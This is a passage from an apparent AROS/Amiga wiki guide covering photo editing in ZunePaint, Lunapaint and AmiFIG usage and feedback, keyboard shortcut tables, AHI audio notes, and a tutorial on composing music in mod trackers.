http://scenesat.com/

http://www.shoutcast.com/radio/Amiga

http://www.theoldcomputer.com/retro_radio/RetroRadio_Main.htm

http://www.kohina.com/

http://www.remix64.com/

http://retrogamer.net/forum/

http://retroasylum.podomatic.com/rss2.xml

http://retrogamesquad.com/

http://www.retronauts.com/

http://monsterfeet.com/noquarter/

http://www.retrogamingradio.com/

http://www.radiofeeds.co.uk/mp3.asp


[[#top|...to the top]]

====ZunePaint==== 

simplified typical workflow

* importing and organizing and photo management
* making global and regional local correction(s) - recalculation is necessary after each adjustment as it is not in real-time 
* exporting your images in the best format available with the preservation of metadata


Whilst achieving 80% of a great photo with just a filter, the remaining 20% comes from a manual fine-tuning of specific image attributes.


For photojournalism, documentary, and event coverage, minimal touching is recommended. Stick to Camera Raw for such shots, and limit changes to level adjustment, sharpness, noise reduction, and white balance correction.

For fashion or portrait shoots, a large amount of adjustment is allowed and usually ends up far from the original. Skin smoothing, blemish removal, eye touch-ups, etc. are common.  Might alter the background a bit to emphasize the subject.

Product photography usually requires a lot of sharpening, spot removal, and focus stacking.

For landscape shots, best results are achieved by doing the maximum amount of preparation before/while taking the shot. No amount of processing can match timing, proper lighting, correct gear, optimal settings, etc. Excessive post-processing might give you a dramatic shot but best avoided in the long term.


* White Balance - Left Amiga or F12 and K and under &quot;Misc color effects&quot; tab with a pull down for White Balance - color temperature also known as AKA tint (movies) or tones (painting) - warm temp raise red reduce green blue - cool raise blue lower red green 
* Exposure - exposure compensation, highlight/shadow recovery
* Noise Reduction - during RAW development or using external software
* Lens Corrections - distortion, vignetting, chromatic aberrations
* Detail - capture sharpening and local contrast enhancement
* Contrast - black point, levels (sliders) and curves tools (F12 and K) 
* Framing - straighten () and crop (F12 and F) 
* Refinements - color adjustments and selective enhancements - Left Amiga or F12 and K for RGB and YUV histogram tabs - 
* Resizing - enlarge for a print or downsize for the web or email (F12 and D) 
* Output Sharpening - customized for your subject matter and print/screen size


White Balance - F12 and K

scan your image for a shade which was meant to be white (neutral with each RGB value being equal) like paper or plastic which is in the same light as the subject of the picture. Use the dropper tool to select this color, similar colours will shift and you will have selected the perfect white balance for your part of the image - for the whole picture make sure RAZ or CLR button at the bottom is pressed before applying to the image above.


Exposure correction

F12 and K - YUV Y luminosity - RGB extra red tint - move red curve slightly down and move blue green curves slightly up

Workflows in practice

* Undo - Right AROS key or F12 and Z 
* Redo - Right AROS key or F12 and R

First flatten your image (if necessary) and then do a rotation until the picture looks level. 
* Crop the picture. Click the selection button and drag a box over the area of the picture you want to keep. Press the crop button and the rest of the photo will be gone. 
* Adjust your saturation, exposure, hue levels, etc., (right AROS Key and K for color correction) until you are happy with the photo. Make sure you zoom in all of the way to 100% and look the photo over, zoom back out and move around. Look for obvious problems with the picture. 
* After coloring and exposure do a sharpen (Right AROS key and E for Convolution and select drop down option needed), e.g. set the matrix to 5x5 (roughly equivalent Amount to 60%) and set the Radius to 1.0. Click OK.


And save your picture


Implemented or would like to see for simplification and ease of use

basic filters (presets) like black and white, monochrome, edge detection (sobel), motion/gaussian blur, 
* negative, sepiatone, retro vintage, night vision, colour tint, color gradient, color temperature, glows, fire, lightning, lens flare, emboss, filmic, pixelate mezzotint, antialias, etc.

adjust / cosmetic tools such as crop, 
* reshaping tools, straighten, smear, smooth, perspective, liquify, bloat, pucker, push pixels in any direction, dispersion, transform like warp, blending with soft light, page-curl, whirl, ripple, fisheye, neon,  etc. 
* red eye fixing, blemish remover, skin smoothing, teeth whitener, make eyes look brighter, desaturate,

effects like oil paint, cartoon, pencil sketch, charcoal, noise/matrix like sharpen/unsharpen, (right AROS key with A for Artistic effects) 
* blend two image, gradient blend, masking blend, explode, implode, custom collage, surreal painting, comic book style, needlepoint, stained glass, watercolor, mosaic, stencil/outline, crayon, chalk, etc.

borders such as 
* dropshadow, rounded, blurred, color tint, picture frame, film strip polaroid, bevelled edge, etc.

brushes e.g.
* frost, smoke, etc.

and manual control of

fix lens issues including vignetting (darkening), color fringing and barrel distortion, and chromatic and geometric aberration -  lens and body profiles

perspective correction

levels - directly modify the levels of the tone-values of an image, by using sliders for highlights, midtones and shadows

curves -  Color Adjustment and Brightness/Contrast

color balance

one single color transparent (alpha channel (color information/selections) for masking and/or blending ) for backgrounds, etc.

Threshold indicates how much other colors will be considered mixture of the removed color and non-removed colors

decompose layer into a set of layers with each holding a different type of pattern that is visible within the image

any selection using any selecting tools like lasso tool, marquee tool etc. the selection will temporarily be save to alpha 
If you create your image without transparency then the Alpha channel is not present, but you can add later.

File formats like .psd (Photoshop file has layers, masks etc.  contains edited sensor data. The original sensor data is no longer available) .xcf .raw .hdr

Image Picture Formats
* low dynamic range (JPEG, PNG, TIFF 8-bit), 16-bit (PPM, TIFF), typically as a 16-bit TIFF in either ProPhoto or AdobeRGB colorspace -  TIFF files are also fairly universal – although, if they contain proprietary data, such as Photoshop Adjustment Layers or Smart Filters, then they can only be opened by Photoshop making them proprietary.
* linear high dynamic range (HDR) images (PFM, [http://www.openexr.com/ ILM .EXR], jpg, [http://aminet.net/util/dtype cr2] (canon tiff based), hdr, NEF, CRW, ARW, MRW, ORF, RAF (Fuji), PEF, DCR, SRF, ERF, DNG files are RAW converted to an Adobe proprietary format - a container that can embed the raw file as well as the information needed to open it) 
An old version of [http://archives.aros-exec.org/index.php?function=browse&amp;cat=graphics/convert dcraw]

There is no single RAW file format. Each camera manufacturer has one or more unique RAW formats. RAW files contain the brightness levels data captured by the camera sensor. This data cannot be modified. A second smaller file, separate XML file, or within a database with instructions for the RAW processor to change exposure, saturation etc. The extra data can be changed but the original sensor data is still there. RAW is technically least compatible.

A raw file is high-bit (usually 12 or 14 bits of information) but a camera-generated TIFF file will be usually converted by the camera (compressed, downsampled) to 8 bits. The raw file has no embedded color balance or color space, but the TIFF has both. These three things (smaller bit depth, embedded color balance, and embedded color space) make it so that the TIFF will lose quality more quickly with image adjustments than the raw file. The camera-generated TIFF image is much more like a camera processed JPEG than a raw file. A strong advantage goes to the raw file. The power of RAW files, such as the ability to set any color temperature non-destructively and will contain more tonal values.

The principle of preserving the maximum amount of information to as late as possible in the process. The final conversion - which will always effectively represent a &quot;downsampling&quot; - should prevent as much loss as possible.

Once you save it as TIFF, you throw away some of that data irretrievably. When saving in the lossy JPEG format, you get tremendous file size savings, but you've irreversibly thrown away a lot of image data. As long as you have the RAW file, original or otherwise, you have access to all of the image data as captured.

Keyboard equivalence with Photoshop(tm) would help 

File
PHOTOSHOP	SHORTCUT	GIMP
New	Ctrl+n	New
Open	Ctrl+o	Open
Close	Ctrl+w	Close
Save	Ctrl+s	Save
Save as	Shift+Ctrl+s	Save as
Revert	F12	Revert
Print	Ctrl+p	Print
Exit	Ctrl+q	Quit
 
Edit
PHOTOSHOP	SHORTCUT	GIMP
Undo/Redo (1 level)	Ctrl+z	Undo (Redo is Shift+Ctrl+z)
Cut	Ctrl+x	Cut
Copy	Ctrl+c	Copy
Paste	Ctrl+v	Paste
Paste Into	Shift+Ctrl+v	Paste Into
Fill with FG color	Alt+Backspace	Fill with FG color
Fill with BG color	Control+Backspace	Fill with BG color
 
Image/Colors
PHOTOSHOP	SHORTCUT	GIMP
Levels	Ctrl+l	Levels
Auto Contrast	Shift+Ctrl+Alt+l	Stretch Contrast (same?)
Curves	Ctrl+m	Curves
Color Balance	Ctrl+b	Color Balance
Hue/Saturation	Ctrl+u	Hue-Saturation
Desaturate	Shift+Ctrl+u	Desaturate
Invert	Ctrl+i	Invert
Default Colors	d	Default Colors
Switch Colors	x	Switch Colors
 
Layer
PHOTOSHOP	SHORTCUT	GIMP
New Layer	Shift+Ctrl+n	New Layer
Layer via Copy	Ctrl+j	Duplicate Layer
Bring (layer) to Front	Shift+Ctrl+]	Layer to Top
Send (layer) to Back	Shift+Ctrl+[	Layer to Bottom
Bring (layer) Forward	Ctrl+]	Raise Layer
Send (layer) Backward	Ctrl+[	Lower Layer
Select Top Layer	Shift+Alt+]	Select Top Layer
Select Bottom Layer	Shift+Alt+[	Select Bottom Layer
Select One Layer Forward	Alt+]	Select Previous Layer
Select One Layer Backward	Alt+[	Select Next Layer
Merge Down	Ctrl+e	Merge Down
Merge Visible	Shift+Ctrl+e	Merge Visible
Preserve Transparency	/	Keep Transparency
Cycle Modes Forwards	Shift+=	Next Layer Mode
Cycle Modes Backwards	Shift+-	Previous Layer Mode
 
Select
PHOTOSHOP	SHORTCUT	GIMP
Select All	Ctrl+a	Select All
Deselect	Ctrl+d	Select None
Inverse	Shift+Ctrl+i	Invert
Feather	Ctrl+Alt+d	Feather
 
View
PHOTOSHOP	SHORTCUT	GIMP
Zoom In	Ctrl+=	Zoom In
Zoom Out	Ctrl+-	Zoom Out
Fit on Screen	Ctrl+0	Zoom to Fit Window
Actual Pixels	Ctrl+Alt+0	Zoom 1:1
Show/Hide Extras	Ctrl+h	Toggle Show Selection (close enough?)
Show/Hide Guides	Ctrl+'	Toggle Show Guides
Show/Hide Grid	Ctrl+Alt+'	Toggle Show Grid
Show/Hide Rulers	Ctrl+r	Toggle Show Rulers
Snap	Ctrl+;	Snap to Guides
Scroll View Up	Page Up	Scroll Page Up
Scroll View Down	Page Down	Scroll Page Down
Scroll View Left	Ctrl+Page Up	Scroll Page Left
Scroll View Right	Ctrl+Page Down	Scroll Page Right
 
Window/Dialogs
PHOTOSHOP	SHORTCUT	GIMP
?	F5	Tools Dialog
Color Tab	F6	Colors Dialog
Layers Tab	F7	Layers Dialog
Info Tab	F8	Image Information
 
Tools
PHOTOSHOP	SHORTCUT	GIMP
Rectangular Marquee Tool	m	Rect Select Tool
Elliptical Marquee Tool	Shift+m	Ellipse Select Tool
 	*This is a toggle between 'Elliptical Marquee Tool' and 'Rectangular Marquee Tool' in Photoshop	 
Move Tool	v	Move Tool
Lasso Tool	l	Free Select Tool
Magic Wand Tool	w	Fuzzy Select Tool
Crop Tool	c	Crop &amp; Resize Tool
Airbrush Tool	j	Airbrush Tool
Paintbrush Tool	b	Paintbrush Tool
Clone Stamp Tool	s	Clone Stamp Tool
Eraser Tool	e	Eraser Tool
Gradient Tool	g	Blend Tool
Paint Bucket Tool	Shift+g	Bucket Fill Tool
 	*This is a toggle between 'Paint Bucket Tool' and 'Gradient Tool' in Photoshop	 
Blur Tool	r	Convolve Tool
Dodge Tool	o	DodgeBurn Tool
Type Tool	t	Text Tool
Pen Tool	p	Bezier Select Tool
Eye Dropper Tool	i	Color Picker Tool
Zoom Tool	z	Magnify Tool
Previous Brush	,	Previous Brush
Next Brush	.	Next Brush
First Brush	Shift+&lt;	First Brush
Last Brush	Shift+&gt;	Last Brush
Decrease Brush Size	[	Decrease Brush Size
Increase Brush Size	]	Increase Brush Size
Decrease Brush Hardness	{	Decrease Brush Hardness
Increase Brush Hardness	}	Increase Brush Hardness
 
Help
PHOTOSHOP	SHORTCUT	GIMP
Help	F1	Help
Context Help	Shift+F1	Context Help
 
Misc.
PHOTOSHOP	SHORTCUT	GIMP
Last Filter	Ctrl+f	Repeat Last Filter
?	Shift+Ctrl+f	Reshow Last Filter
Preferences	Ctrl+k	Preferences
Liquify	Shift+Ctrl+x	IWarp (close enough?)
Toggle Quick Mask	q	Toggle Quick Mask


Spotlights - triangle of white opaque shape

Cutting out and/or replacing unwanted background or features - select large areas with the selection option like the Magic Wand tool (aka Color Range) or the Lasso (quick and fast) with feather 2 to soften edge or the pen tool which adds points/lines/Bézier curves (better control but slower), hold down the shift button as you click to add extra points/areas of the subject matter to remove. Increase the tolerance to cover more areas. To subtract from your selection hold down alt as you're clicking. 
* Layer masks are a better way of working than Erase they clip (black hides/hidden white visible/reveal). Clone Stamp can be simulated by   and brushes for other areas. 
* Leave the fine details like hair, fur, etc. to later with lasso and the shift key to draw a line all the way around your subject. Gradient Mapping - Inverse - Mask. i.e. Refine your selected image with edge detection and using the radius and edge options / adjuster (increase/decrease contrast) so that you will capture more fine detail from the background allowing easier removal. 
Remove fringe/halo

saving image as png rather than jpg/jpeg to keep transparency background intact.


Implemented [http://colorizer.org/ colour model representations] [http://paulbourke.net/texture_colour/colourspace/ Mathematical approach] - Photo stills are spatially 2d (h and w), but are colorimetrically 3d (r g and b, or H L S, or Y U V etc.) as well. 
* RGB - split cubed mapped color model for photos and computer graphics hardware using the light spectrum (adding and subtracting) 
* YUV - Y-Lightness U-blue/yellow V-red/cyan (similar to YPbPr and YCbCr) used in the PAL, NTSC, and SECAM composite digital TV color [http://crewofone.com/2012/chroma-subsampling-and-transcoding/#comment-7299 video]


Histograms

White balanced (neutral) if the spike happens in the same place in each channel of the RGB graphs. If not, you're not balanced. 
If you have sky you'll see the blue channel further off to the right.

RGB is best one to change colours. These elements RGB is a 3-channel format containing data for Red, Green, and Blue in your photo scale between 0 and 255. The area in a picture that appears to be brighter/whiter contains more red color as compared to the area which is relatively darker. Similarly in the green channel the area that appears to be darker contains less amount of green color as compared to the area that appears to be brighter.  Similarly in the blue channel the area appears to be darker contains less amount of blue color as compared to the area that appears to be brighter. Brightness luminance histogram also matches the green histogram more than any other color - human eye interprets green better e.g. RGB rough ratio 15/55/30%

RGBA (RGB+A, A means alpha channel) .  The alpha channel is used for &quot;alpha compositing&quot;, which can mostly be associated as &quot;opacity&quot;.  AROS deals in RGB with two digits for every color (red, green, blue), in ARGB you have two additional hex digits for the alpha channel.

The shadows are represented by the left third of the graph.  The highlights are represented by the right third.  And the midtones are, of course, in the middle.  The higher the black peaks in the graph, the more pixels are concentrated in that tonal range (total black area). 
By moving the black endpoint, which identifies the shadows (darkness) and a white light endpoint (brightness) up and down either sides of the graph, colors are adjusted based on these points. 
By dragging the central one, can increased the midtones and control the contrast, raise shadows levels, clip or softly eliminate unsafe levels, alter gamma, etc... in a way that is much more precise and creative .


RGB Curves

* Move left endpoint (black point) up or right endpoint (white point) up brightens 
* Move left endpoint down or right endpoint down darkens

Color Curves

* Dragging up on the Red Curve increases the intensity of the reds in the image but 
* Dragging down on the Red Curve decreases the intensity of the reds and thus increases the apparent intensity of its complimentary color, cyan. Green’s complimentary color is magenta, and blue’s is yellow.
&lt;pre&gt;
 Red &lt;-&gt; Cyan
 Green &lt;-&gt;Magenta
 Blue &lt;-&gt;Yellow 
&lt;/pre&gt;

YUV Best option to analyse and pull out statistical elements of any picture (i.e.  separate luminance data from color data). The line in Y luma tone box represents the brightness of the image with the point in the bottom left been black, and the point in the top right as white.  A low-contrast image has a concentrated clump of values nearer to the center of the graph. By comparison, a high-contrast image has a wider distribution of values across the entire width of the Histogram.   A histogram that is skewed to the right would indicate a picture that is a bit overexposed because most of the color data is on the lighter side (increase exposure with higher value F), while a histogram with the curve on the left shows a picture that is underexposed. This is good information to have when using post-processing software because it shows you not only where the color data exists for a given picture, but also where any data has been clipped (extremes on edges of either side): that is, it does not exist and, therefore, cannot be edited.  By dragging the endpoints of the line and as well as the central one, can increased the dark/shadows, midtones and light/bright parts and control the contrast, raise shadows levels, clip or softly eliminate unsafe levels, alter gamma, etc... in a way that is much more precise and creative .

The U and V chroma parts show color difference components of the image. It’s useful for checking whether or not the overall chroma is too high, and also whether it’s being limited too much
Can be used to create a negative image but also 
With U (Cb), the higher value you are, the more you're on the blue primary color. If you go to the low values then you're on blue complementary color, i.e. yellow.
With V (Cr), this is the same principle but with Red and Cyan.
e.g. If you push U full blue and V full red, you get magenta. If you push U full yellow and V full Cyan then you get green.

YUV simultaneously adds to one side of the color equation while subtracting from the other.  
using YUV to do color correction can be very problematic because each curve alters the result of each other: the mutual influence between U and V often makes things tricky. You may also be careful in what you do to avoid the raise of noise (which happens very easily). Best results are obtained with little adjustments

sunset that looks uninspiring and needs some color pop especially for the rays over the hill, a subtle contrast raise while setting luma values back to the legal range without hard clipping.


====Lunapaint====

Pixel based drawing app with onion-skin animation function

 Blocking, Shading, Coloring, adding detail 

&lt;pre&gt;
b BRUSH
e ERASER

alt eyedropper 
v layer tool 

z ZOOM / MAGNIFY &lt; &gt; n 
spc panning 
m  marque 
q lasso 
w same color selection / region 
&lt;/pre&gt;

&lt;pre&gt;
, LM RM
v 
V
f  filter 
F 
.  size 

p 
,  pick color 
[] last / next color 
&lt;/pre&gt;


There is not much missing in Lunapaint to be as good as FlipBook and then you have to take into account that Flipbook is considered to be amongst the best and easiest to use animation software out there. Ok to be honest Flipbook has some nice features that require more heavy work but those aren't so much needed right away, things like camera effects, sound, smart fill, export to different movie file formats etc.

Tried Flipbook with my tablet and compared it to Luna. The feeling is the same when sketching. LunaPaint is very responsive/fluent to draw with. Just as Flipbook is, and that responsiveness is something its users have mentioned as one of the positive sides of said software.

 author was learning MUI. Some parts just have to be rewritten with proper MUI classes before new features can be added.

* add [Frame Add] / [Frame Del]
* whole animation feature is impossible to use. If you draw 2 color maybe but if you start coloring your cells then you get in trouble
* pickup the entire image as a brush, not just a selection ? And consequently remove the brush from memory when one doesn't need it anymore. can pick up a brush and put it onto a new image but cropping isn't possible, nor to load/save brushes.
* Undo is something I longed for ages in Lunapaint.
* to import into the current layer, other types of images (e.g. JPEG) besides RAW64.
* implement graphic tablet features support


**GENERAL DRAWING**

Miss it very much:
UNDO
ERASER
COLORPICKER - has to show on palette too which color got picked.
BACKGROUND COLOR -Possibility to select from &quot;New project screen&quot;

Miss it somewhat:
ICON for UNDO
ICON for ERASER
ICON for CLEAR SCREEN ( What can I say? I start over from scratch very often )
BRUSH - possibility to cut out as brush not just copy off image to brush

**ANIMATING**

Miss it very much:
NUMBER OF CELLS - Possibity to change total no. of cells during project
ANIM BRUSH - Possibility to pick up a selected part of cells into an animbrush

Miss it somewhat:
ADD/REMOVE FRAMES: Add/remove single frame

In general LunaPaint is really well done and it feels like a new DeluxePaint version. It works with my tablet. Sure there's much missing of course but things can always be added over time. So there is great potential in LunaPaint that's for sure. Animations could be made in it and maybe put together in QuickVideo, saving in .gif or .mng etc some day.


LAYERS
-Layers names don't get saved globally in animation frames
-Layers order don't change globally in an animation (perhaps as default?).

EXPORTING IMAGES
-Exporting frames to JPG/PNG gives problems with colors. (wrong colors. See my animatiopn --&gt; My robot was blue now it's &quot;gold&quot; ) I think this only happens if you have layers.
-Trying to flatten the layers before export doesn't work if you have animation frames only the one you have visible will flatten properly all other frames are destroyed. (Only one of the layers are visible on them)
-Exporting images filenames should be for example e.g. file0001, file0002...file0010 instead as of now file1, file2...file10

LOAD/SAVE (Preferences)
-Make a setting for the default &quot;Work&quot; folder.

* Destroyed colors if exported image/frame has layers 
* mystic color cycling of the selected color while stepping frames back/forth (annoying)

&lt;pre&gt;
Deluxe Paint II enhanced key shortcuts 
    NOTE: @ denotes the ALT key

    [Technique]

    F1  - Paint
    F2  - Single Colour
    F3  - Replace
    F4  - Smear
    F5  - Shade
    F6  - Cycle
    F7  - Smooth
     M  - Colour Cycle

    [Brush]

     B  - Restore
     O  - Outline
     h  - Halve brush size
     H  - Double brush size
     x  - Flip brush on X axis
     X  - Double brush size on X axis only
     y  - Flip on Y 
     Y  - Double on Y
     z  - Rotate brush 90 degrees
     Z  - Stretch

    [Stencil]

     `  - Stencil On

    [Miscellaneous]

    F9  - Info Bar
    F10 - Selection Bar
    @o  - Co-Ordinates
    @a  - Anti-alias
    @r  - Colourise
    @t  - Translucent
    TAB - Colour Cycle

    [Picture]

     L  - Load
     S  - Save
     j  - Page to Spare(Flip)
     J  - Page to Spare(Copy)
     V  - View Page
     Q  - Quit

    [General Keys]

     m  - Magnify
     &lt;  - Zoom In
     &gt;  - Zoom Out
     [  - Palette Colour Up
     ]  - Palette Colour Down
     (  - Palette Colour Left
     )  - Palette Colour Right
     ,  - Eye Dropper
     .  - Pixel / Brush Toggle
     /  - Symmetry
     |  - Co-Ordinates
    INS - Perspective Control
    +/- - Brush Size (Fine Control)
     w  - Unfilled Polygon
     W  - Filled Polygon
     e  - Unfilled Ellipse
     E  - Filled Ellipse
     r  - Unfilled Rectangle
     R  - Filled Rectangle
     t  - Type/text tool
     a  - Select Font
    u/U - Undo
     d  - Brush
     D  - Filled Non-Uniform Polygon
    f/F - Fill Options
    g/G - Grid
    h/H - Brush Size (Coarse Control)
     K  - Clear
     c  - Unfilled Circle
     C  - Filled Circle
     v  - Line
     b  - Scissor Select and Toggle
     B  - Brush
    {,} - Toggle between two background colours
&lt;/pre&gt;

====Lodepaint====

Pixel based painting artwork app

====Grafx2====

Pixel based painting artwork app aesprite like 

[https://www.youtube.com/watch?v=59Y6OTzNrhk aesprite workflow keys and tablet use], [], 


====Vector Graphics ZuneFIG====

Vector Image Editing of files .svg .ps .eps


*Objects - raise lower rotate flip aligning snapping 
*Path - unify subtract intersect exclude divide 
*Colour - fill stroke 
*Stroke - size 
*Brushes - 
*Layers - 
*Effects - gaussian bevels glows shadows 
*Text    - 
*Transform - 


 AmiFIG ([http://epb.lbl.gov/xfig/frm_introduction.html xfig manual]) 

[[File:MyScreen.png|thumb|left|alt=Showing all Windows open in AmiFIG.|All windows available to AmiFIG.]]

for drawing simple to intermediate vector graphic images for scientific and technical uses and for illustration purposes for those with talent

;Menu options
* Load - fig format but import(s) SVG
* Save - fig format but export(s) eps, ps, pdf, svg and png
* PAN = Ctrl + Arrow keys 
* Deselect all points

There is no selected object until you apply the tool, and the selected object is not highlighted.

;Metrics - to set up page and styles - first window to open on new drawings

;Tools - Drawing Primitives - set Attributes window first before clicking any Tools button(s) 
* Shapes - circles, ellipses, arcs, splines, boxes,  polygon 
* Lines - polylines
* Text &quot;T&quot; button 
* Photos - bitmaps
* Compound - Glue, Break, Scale 
* POINTs - Move, Add, Remove 
* Objects - Move, Copy, Delete, Mirror, Rotate, Paste 
use right mouse button to stop extra lines, shapes being formed and the left mouse to select/deselect tools button(s)
* Rotate - moves in 90 degree turns centered on clicked POINT of a polygon or square

;Attributes which provide change(s) to the above primitives 
* Color
* Line Width
* Line Style
* arrowheads

;Modes 
Choose from freehand, charts, figures, magnet, etc.

;Library - allows .fig clip-art to be stored 
* compound tools to add .fig(s) together

;FIG 3.2 [http://epb.lbl.gov/xfig/fig-format.html Format] as produced by xfig version 3.2.5 
&lt;pre&gt;
Landscape
Center
Inches
Letter 
100.00
Single
-2
1200 2
4 0 0 50 -1 0 12 0.0000 4 135 1050 1050 2475 This is a test.01
&lt;/pre&gt;

# change the text alignment within the textbox. I can choose left, center, or right aligned by either changing the integer in the second column from 0 (left) to 1 or 2 (center, or right). 
# The third integer in the row specifies fontcolor. For instance, 0 is black, but blue is 1 and Green3 is 13.
# The sixth integer in the bottom row specifies fontface. 0 is Times-Roman, but 16 is Helvetica (a MATLAB default).
# The seventh number is fontsize. 12 represents a 12pt fontsize. Changing the fontsize of an item really is as easy as changing that number to 20.
# The next number is the counter-clockwise angle of the text. Notice that I have changed the angle to .7854 (pi/4 rounded to four digits=45 degrees).
# twelfth number is the position according to the standard “x-axis” in Xfig units from the left. Note that 1200 Xfig units is equivalent to once inch.
# thirteenth number is the “y-position” from the top using the same unit convention as before.

* The nested text string is what you entered into the textbox.
* The “01″ present at the end of that line in the .fig file is the closing tag. For instance, a change to \100 appends a @ symbol at the end of the period of that sentence.

; Just to note there are no layers, no 3d functions, no shading, no transparency, no animation


[[#top|...to the top]]

===Audio===


# AHI uses linear panning/balance, which means that in the center, you will get -6dB. If an app uses panning, this is what you will get. Note that apps like Audio Evolution need panning, so they will have this problem.

# When using AHI Hifi modes, mixing is done in 32-bit and sent as 32-bit data to the driver. The Envy24HT driver uses that to output at 24-bit (always).

# For the Envy24/Envy24HT, I've made 16-bit and 24-bit inputs (called Line-in 16-bit, Line-in 24-bit etc.). There is unfortunately no app that can handle 24-bit recording.


====Music Mods====

Digital module (mods) trackers are music creation software using samples and sometimes soundfonts, audio plugins (VST, AU or RTAS), MIDI.

Generally, MODs are similar to MIDI in that they contain note on/off and other sequence messages that control the mod player. Unlike (most) midi files, however, they also contain sound samples that the sequence information actually plays. MOD files can have many channels (classic amiga mods have 4, corresponding to the inbuilt sound channels), but unlike MIDI, each channel can typically play only one note at once. However, since that note might be a sample of a chord, a drumloop or other complex sound, this is not as limiting as it sounds.

Like MIDI, notes will play indefinitely if they're not instructed to end. Most trackers record this information automatically if you play your music in live. If you're using manual note entry, you can enter a note-off command with a keyboard shortcut - usually Caps Lock.

In fact when considering file size MOD is not always the best option. Even a dummy song wastes few kilobytes for nothing when a simple SID tune could be few hundreds bytes and not bigger than 64kB. AHX is another small format, AHX tunes are never larger than 64kB excluding comments.

[https://www.youtube.com/watch?v=rXXsZfwgil Protrekkr] (previously aka [w:Juan_Antonio_Arguelles_Rius|NoiseTrekkr])

If Protrekkr does not start, please check if the Unit 0 has been setup in the AHI prefs and still not, go to the directory utilities/protrekkr and double click on the Protrekkr icon

*Sample
*Note - Effect 
*Track (column) - Pattern - Order

It all starts with the Sample which is used to create Note(s) in a Track (column of a tracker) 
The Note can be changed with an Effect.  A Track of Note(s) can be collected into a Pattern (section of a song) and these can be given Order to create the whole song.

Patience (notes have to be entered one at a time) or playing the bassline on a midi controller (faster - see midi section above).  Best approach is to wait until a melody popped into your head.

*Up-tempo means the track should be reasonably fast, but not super-fast. 
*Groovy and funky imply the track should have some sort of &quot;swing&quot; feel, with plenty of syncopation or off beat emphasis and a recognizable, melodic bass line. 
*Sweet and happy mean upbeat melodies, a major key and avoiding harsh sounds.
*Moody - minor key

First, create a quick bass sound, which is basically a sine wave, but can be hand drawn for a little more variance. It could also work for the melody part, too.

This is usually a bass guitar or some kind of synthesizer bass. The bass line is often forgotten by inexperienced composers, but it plays an important role in a musical piece. Together with the rhythm section the bass line forms the groove of a song. It's the glue between the rhythm section and the melodic layer of a song.

The drums are just pink noise samples, played at different frequencies to get a slightly different sound for the kick, snare, and hihats.

Instruments that fall into the rhythm category are bass drums, snares, hi-hats, toms, cymbals, congas, tambourines, shakers, etc. Any percussive instrument can be used to form part of the rhythm section.

The lead is the instrument that plays the main melody, on top of the chords. There are many instruments that can play a lead section, like a guitar, a piano, a saxophone or a flute. The list is almost endless. There is a lot of overlap with instruments that play chords. Often in one piece an instrument serves both roles. The lead melody is often played at a higher pitch than the chords.

Listened back to what was produced so far, and a counter-melody can be imagined, which can be added with a triangle wave.

To give the ends of phrases some life, you can add a solo part with a crunchy synth. By hitting random notes in the key of G, then edited a few of them.

For the climax of the song, filled out the texture with a gentle high-pitch pad… …and a grungy bass synth.


The arrow at A points at the pattern order list. As you see, the patterns don't have to be in numerical order. This song starts with pattern &quot;00&quot;, then pattern &quot;02&quot;, then &quot;03&quot;, then &quot;01&quot;, etcetera. Patterns may be repeated throughout a song.

The B arrow points at the song title. Below it are the global BPM and speed parameters. These determine the tempo of the song, unless the tempo is altered through effect commands during the song.

The C arrow points at the list of instruments. An instrument may consist of multiple samples. Which sample will be played depends on the note. This can be set in the Instrument Editing screen. Most instruments will consist of just one sample, though. The sample list for the selected instrument can be found under arrow D.

Here's a part of the main editing screen. This is where you put in actual notes. Up to 32 channels can be used, meaning 32 sounds can play simultaneously. The first six channels of pattern &quot;03&quot; at order &quot;02&quot; are shown here. The arrow at A points at the row number. The B arrow points at the note to play, in this case a C4. The column pointed at by the C arrow tells us which instrument is associated with that note, in this case instrument #1 &quot;Kick&quot;.

The column at D is used (mainly) for volume commands. In this case it is left empty which means the instrument should play at its default volume. You can see the volume column being used in channel #6.

The E column tells us which effect to use and any parameters for that effect. In this case it holds the &quot;F&quot; effect, which is a tempo command. The &quot;04&quot; means it should play at tempo 4 (a smaller number means faster).

Base pattern

When I create a new track I start with what I call the base pattern. It is worthwhile to spend some time polishing it as a lot of the ideas in the base pattern will be copied and used in other patterns. At least, that's how I work. Every musician will have his own way of working. In &quot;Wild Bunnies&quot; the base pattern is pattern &quot;03&quot; at order &quot;02&quot;.

In the section about selecting samples I talked about the four different categories of instruments: drums, bass, chords and leads. That's also how I usually go about making the base pattern. I start by making a drum pattern, then add a bass line, place some chords and top it off with a lead. This forms the base pattern from which the rest of the song will grow.


Drums

Here's a screenshot of the first four rows of the base pattern. I usually reserve the first four channels or so for the drum instruments. Right away there are a couple of tricks shown here. In the first channel the kick, or bass drum, plays some notes. Note the alternating F04 and F02 commands. The &quot;F&quot; command alters the tempo of the song and by quickly alternating the tempo; the song will get some kind of &quot;swing&quot; feel.

In the second channel the closed hi-hat plays a fairly simple pattern. Further down in the channel, not shown here, some open hi-hat notes are added for a bit of variation.

In the third and fourth channel the snare sample plays. The &quot;8&quot; command is for panning. One note is panned hard to the left and the other hard to the right. One sample is played a semitone lower than the other. This results in a cool flanging effect. It makes the snare stand out a little more in the mix.


Bass line

There are two different instruments used for the bass line. Instrument #6 is a pretty standard synthesized bass sound. Instrument #A sounds a bit like a slap bass when used with a quick fade out. By using two different instruments the bass line sounds a bit more ”human”. The volume command is used to cut off the notes. However, it is never set to zero. Setting the volume to a very small value will result in a reverb-like effect. This makes the song sound more &quot;live&quot;.

The bass line hints at the chords that will be played and the key the song will be in. In this case the key of the song is D-major, a positive and happy key.


Chords

The D major chords that are being played here are chords stabs; short sounds with a quick decay (fade out). Two different instruments (#8 and #9) are used to form the chords. These instruments are quite similar, but have a slightly different sound, panning and volume decay. Again, the reason for this is to make the sound more human. The volume command is used on some chords to simulate a delay, to achieve more of a live feel. The chords are placed off-beat making for a funky rhythm.


Lead

Finally the lead melody is added. The other instruments are invaluable in holding the track together, but the lead melody is usually what catches people's attention.

A lot of notes and commands are used here, but it looks more complex than it is. A stepwise ascending melody plays in channel 13. Channel 14 and 15 copy this melody, but play it a few rows later at a lower volume. This creates an echo effect. A bit of panning is used on the notes to create some stereo depth. Like with the bass line, instead of cutting off notes the volume is set to low values for a reverb effect. The &quot;461&quot; effect adds a little vibrato to the note, which sounds nice on sustained notes.

